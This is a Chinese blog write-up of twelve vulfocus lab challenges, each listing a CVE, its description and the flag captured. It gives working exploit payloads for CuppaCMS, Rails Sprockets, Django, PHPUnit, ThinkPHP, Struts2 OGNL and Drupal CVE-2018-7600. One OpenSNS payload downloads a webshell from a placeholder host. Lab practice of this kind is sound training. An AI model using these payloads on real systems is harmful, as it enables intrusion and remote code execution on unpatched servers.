vulfocus(记录贴)系列三(flag)
vulfocus(记录贴)系列三
1.1.1. vulfocus/cuppacms-cve_2020_26048
漏洞URL: |
http://123.58.224.8:65336/#/component/table_manager/view/cu_api_keys |
请求方式: |
POST |
漏洞类型: |
文件上传 |
漏洞描述: |
|
CuppaCMS是一套内容管理系统(CMS)。 CuppaCMS 2019-11-12之前版本存在安全漏洞,攻击者可利用该漏洞在图像扩展内上传恶意文件,通过使用文件管理器提供的重命名函数的自定义请求,可以将图像扩展修改为PHP,从而导致远程任意代码执行。 |
|
修复建议: |
|
使用官网补丁 升级版本 |
|
漏洞验证: |
|
使用默认账号admin/123456进入后台 点击file mangger 上传一个PNG后缀的php文件,在File Mangager功能中的rename功能是通过前端js进行的,导致rename功能可以抓包绕过,改为.php后缀,导致webshell。 上传图片马成功后,点击重命名抓包修改其文件后缀名为php 删除这个文件,然后连接图片马 flag-{bmhf64f0e5b-902e-4607-8941-ada2d5e86a07} |
1.1.2. vulfocus/rails-cve_2018_3760
漏洞URL: |
http://123.58.224.8:41365/assets/file:%2F%2F/ |
请求方式: |
GET |
请求参数: |
/assets/file:%2F%2F/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/proc/self/environ |
漏洞描述: |
|
Ruby On Rails 是著名的 Ruby Web 开发框架,它在开发环境中使用 Sprockets 作为静态文件服务器。Sprockets 是一个编译和分发静态资源文件的 Ruby 库。 Sprockets 3.7.1及更低版本存在二次解码导致的路径遍历漏洞。攻击者可以%252e%252e/用来访问根目录并读取或执行目标服务器上的任何文件。 |
|
修复建议: |
|
使用官网补丁 升级版本 |
|
漏洞验证: |
|
/assets/file:%2f%2f/etc/passwd访问此路径,可以得允许访问的路径白名单 Playload(网页无回显): /assets/file:%2F%2F/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/proc/self/environ 抓包可获得flag flag-{bmh94fae0a0-677b-48ae-a5ea-871e207b264b} |
1.1.3. vulfocus/splunk-cve_2018_11409
漏洞URL: |
http://123.58.224.8:58052/zh-CN/manager/search/adddata/selectsource?input_mode=1# |
请求方式: |
POST |
请求参数: |
/zh-CN/manager/search/adddata/selectsource?input_mode=1# |
漏洞描述: |
|
Splunk是美国Splunk公司的一套数据收集分析软件。该软件主要用于收集、索引和分析机器产生的数据,包括所有IT系统和基础结构(物理、虚拟和云)生成的数据。 Splunk 7.0.1及之前版本中存在安全漏洞。攻击者可通过将__raw/services/server/info/server-info?output_mode=json添加到查询中利用该漏洞泄露信息(如:许可证密钥)。 |
|
修复建议: |
|
使用官网补丁 升级版本 |
|
漏洞验证: |
|
利用首次登录给出的账号密码:admin / changeme 登录 进去之后提示修改密码,随便改成123啥的 这里许可证选择最后一个(前几个都尝试过了,当前环境下无法使用) 下一步选择取消。 在 设置 > 添加数据 > 监视 > 文件和目录 处找到 浏览文件! flag-{bmhb86d5937-2b8f-460b-84b9-fdc85b8fb0f6} |
1.1.4. vulfocus/django-cve_2019_14234
漏洞URL: |
http://123.58.224.8:30729/admin/ |
请求方式: |
GET |
请求参数: |
/vuln/collection/?detail__a%27b=123 |
漏洞描述: |
|
Django是一款广为流行的开源web框架,由Python编写,许多网站和app都基于Django开发。Django采用了MTV的框架模式,即模型M,视图V和模版T,使用Django,程序员可以方便、快捷地创建高品质、易维护、数据库驱动的应用程序。而且Django还包含许多功能强大的第三方插件,使得Django具有较强的可扩展性。
该漏洞需要开发者使用了JSONField/HStoreField,且用户可控queryset查询时的键名,在键名的位置注入SQL语句。可以利用CVE-2019-14234(SQL注入漏洞)向服务器传送包含CVE-2019-9193(命令执行漏洞)系统命令的SQL语句,从而利用SQL语句,执行任意系统命令。 |
|
修复建议: |
|
使用官网补丁或升级版本 |
|
漏洞验证: |
|
启动进入靶场 进入后台 payload:http://123.58.224.8:30729/admin/vuln/collection/?detail__a%27b=123 搜索flag flag-{bmh9068b97a-1651-4c51-86ec-b34aff2b511e} |
1.1.5. phpunit 远程代码执行 (CVE-2017-9841)
漏洞URL: |
http://123.58.224.8:29245/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php |
请求方式: |
POST |
请求参数: |
<?php system('ls /tmp');?> |
漏洞描述: |
|
PHPUnit 是 PHP 程式语言中最常见的单元测试 (unit testing) 框架。 |
|
修复建议: |
|
使用官网补丁、禁用该功能 或升级版本 |
|
漏洞验证: |
|
抓包,修改get请求为post,并加上<?php system('ls /tmp');?> flag-{bmh458e688d-06e3-426a-bb62-0314413f50b3} |
1.1.6. vulfocus/thinkphp-cnvd_2018_24942
漏洞URL: |
http://123.58.224.8:11711/index.php/ |
请求方式: |
GET |
请求参数: |
/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /tmp |
漏洞描述: |
|
ThinkPHP框架 - 是由上海顶想公司开发维护的MVC结构的开源PHP框架,遵循Apache2开源协议发布,是为了敏捷WEB应用开发和简化企业应用开发而诞生的。
该漏洞由于框架对控制器名未能进行足够的检测,攻击者利用该漏洞对目标网站进行远程命令执行攻击。 |
|
修复建议: |
|
使用官网补丁 升级版本 |
|
漏洞验证: |
|
访问url,内容如下,指纹识别发现是thinkphp框架的 上thinkphp漏洞工具检测是否存在漏洞 Payload: /index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /tmp flag-{bmhc7dd506f-7b13-425e-b76b-823ebc109540} |
1.1.7. vulfocus/struts2-cve_2017_9791
漏洞URL: |
http://123.58.224.8:40686/integration/saveGangster.action |
请求方式: |
POST |
请求参数: |
name=%25%7B(%23_%3D'multipart%2Fform-data').(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23_memberAccess%3F(%23_memberAccess%3D%23dm)%3A((%23container%3D%23context%5B'com.opensymphony.xwork2.ActionContext.container'%5D).(%23ognlUtil%3D%23container.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ognlUtil.getExcludedPackageNames().clear()).(%23ognlUtil.getExcludedClasses().clear()).(%23context.setMemberAccess(%23dm)))).(%23cmd%3D'ls').(%23iswin%3D(%40java.lang.System%40getProperty('os.name').toLowerCase().contains('win'))).(%23cmds%3D(%23iswin%3F%7B'cmd.exe'%2C'%2Fc'%2C%23cmd%7D%3A%7B'%2Fbin%2Fbash'%2C'-c'%2C%23cmd%7D)).(%23p%3Dnew%20java.lang.ProcessBuilder(%23cmds)).(%23p.redirectErrorStream(true)).(%23process%3D%23p.start()).(%23ros%3D(%40org.apache.struts2.ServletActionContext%40getResponse().getOutputStream())).(%40org.apache.commons.io.IOUtils%40copy(%23process.getInputStream()%2C%23ros)).(%23ros.flush())%7D&age=1&__checkbox_bustedBefore=true&description=1 |
漏洞描述: |
|
Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。本质问题出在struts2-struts1-plugin包Struts1Action.java文件中,Struts1Action类中的execute方法调用了getText函数,这个函数会执行ognl表达式,更为严重的是getText的输入内容是攻击者可控的。 |
|
修复建议: |
|
使用官网补丁 升级版本 |
|
漏洞验证: |
|
http://123.58.224.8:40686/integration/saveGangster.action 进入漏洞处 输入表达式${1+1},提交后,发现运算在后台被执行(下面两个框随便填写) 执行pyload,执行命令为pwd,即当前目录 %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('pwd').getInputStream())).(#q)} 即当前目录为/tmp,试试将上面的playload中的pwd改为ls查看flag 确实报错中的message就是flag了。 %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} 将上面的playload进行url转换即可得到playload 解码平台:https://www.bejson.com/enc/urlencode/ 修改为上面的请求参数,发送后即得到flag flag-{bmh1f907d19-970c-4d43-8b54-b3094c77e20b} |
1.1.8. thinkphp3.2.x 代码执行
漏洞URL: |
http://123.58.224.8:62273/index.php |
请求方式: |
GET |
请求参数: |
/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/23_01_09.log |
漏洞描述: |
|
|
|
修复建议: |
|
使用官网补丁 升级版本 |
|
漏洞验证: |
|
http://123.58.224.8:62273/index.php 在默认的日志路径中包含执行PHP代码,报错计入错误日志 Playload: /index.php?m=--><?=system(ls%20/tmp);?> Playload:后面的23_01_09.log需要改成你前面发送错误包的时间 /index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/23_01_09.log 当然也可以上thinkphp工具进行漏扫 flag-{bmhaf31dded-8362-4866-87ff-7d5971c4525d} |
1.1.9. uWSGI 目录穿越(CVE-2018-7490)
漏洞URL: |
http://123.58.224.8:30664/ |
请求方式: |
GET |
请求参数: |
无 |
漏洞描述: |
|
uWSGI是一款Web应用程序服务器,它实现了WSGI、uwsgi和http等协议,并支持通过插件来运行各种语言,uWSGI 2.0.17之前的PHP插件,没有正确的处理DOCUMENT_ROOT检测,导致用户可以通过..%2f来跨越目录,读取或运行DOCUMENT_ROOT目录以外的文件。
|
|
修复建议: |
|
使用官网补丁 升级版本 |
|
漏洞验证: |
|
按靶场给的IP和端口号进去 因为提示是目录穿越,于是可以尝试目录穿越的常见方法 1:绝对路径 filename=/etc/passwd 2:双写../绕过 filename=....//....//....///etc/passwd 3:URL编码绕过 .=>%2e /=>%2f %=>%25(双重URL编码) 尝试以上几种后发现都是not found,后面回到phpinfo直接搜索得到flag flag-{bmh88f55559-c28a-4da8-a47f-cc35db9910d2} |
1.1.10. opensns 命令执行 (CNVD-2021-34590)
漏洞URL: |
http://123.58.224.8:15343/index.php |
请求方式: |
GET |
请求参数: |
http://123.58.224.8:15343/index.php?s=weibo/Share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[status]=1%26id[method]=Schedule-%3E_validationFieldItem%26id[4]=function%26id[0]=cmd%26id[1]=assert%26id[args]=cmd=phpinfo() |
漏洞描述: |
|
OpenSNS是想天科技开发的一款综合性社交软件。 OpenSNS存在命令执行漏洞,攻击者可利用该漏洞获取服务器控制权限。 |
|
修复建议: |
|
使用官网补丁 升级版本 |
|
漏洞验证: |
|
进入靶场 Playload: index.php?s=weibo/Share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[status]=1%26id[method]=Schedule-%3E_validationFieldItem%26id[4]=function%26id[0]=cmd%26id[1]=assert%26id[args]=cmd=phpinfo() 直接搜索flag 也可以通过下载webshell,用工具连接 此处的cmd= 只能传参1个,在使用'system'函数空格会导致执行失败,故而使用php中的copy函数直接下载webshell实现RCE。 /index.php?s=weibo/Share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[status]=1%26id[method]=Schedule-%3E_validationFieldItem%26id[4]=function%26id[0]=cmd%26id[1]=assert%26id[args]=cmd=copy(%27http://xxx/a.txt%27,%27a.php%27) flag-{bmh03e752ad-aae8-4090-9ab0-ca21c84eb26c} |
1.1.11. phpinfo-inclusion 文件写入
漏洞URL: |
http://123.58.224.8:14382/phpinfo.php |
请求方式: |
GET |
请求参数: |
/phpinfo.php |
漏洞描述: |
|
phpinfo()常用于在系统上检查配置设置和预定义变量。 通过写入脚本文件,然后读取从而getshell |
|
修复建议: |
|
使用官网补丁 升级版本 |
|
漏洞验证: |
|
进入靶场 可以看到,此次网站搭建是以"Apache"版本型号“2.4.38”操作系统为Debian 访问http://123.58.224.8:14382/phpinfo.php 获取phpinfo信息 flag-{bmhb6caf879-8612-4795-ad02-100c582f42f8} |
1.1.12. drupal1 代码执行 (CVE-2018-7600)
漏洞URL: |
123.58.224.8:44811/user/register |
请求方式: |
POST |
请求参数: |
/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax |
漏洞描述: |
|
Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开发框架(Framework)共同构成。 该漏洞的产生的根本原因在于Drupal对表单的渲染上,攻击者可以利用该漏洞攻击Drupal系统的网站,执行恶意代码,最后完全控制被攻击的网站。 |
|
修复建议: |
|
使用官网补丁 升级版本 |
|
漏洞验证: |
|
直接进入靶场 在login那创建一个新账户,然后用burpsuite进行抓包改包 poc代码(红色的为需要修改添加的,ip根据自己的改) POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1 Host: 123.58.224.8:44811 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: _ga=GA1.1.463174318.1666318413; metabase.DEVICE=5041e6bc-c397-4551-8af0-f11161cfaa26; splunkweb_csrf_token_8000=8967813589907869178; JSESSIONID=428B5A668AEDABA4E8AEB867D55F2D45; PHPSESSID=3f27pblhj93gchdj84at4kkuj2 Upgrade-Insecure-Requests: 1 Content-Length: 112 Content-Type: application/x-www-form-urlencoded
form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=passthru&mail[#type]=markup&mail[#markup]=ls /tmp flag-{bmh273f6d84-bea6-488d-b907-d380b1805c53}
做了很多。留个之前做的纪念吧,逝去的青春。
|
本功法来自三千大道(博客园),由小仙:{Hndreamer}创作,本文章均采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可,转载请注明源功法及作者链接:https://www.cnblogs.com/Hndreamer/p/17209108.html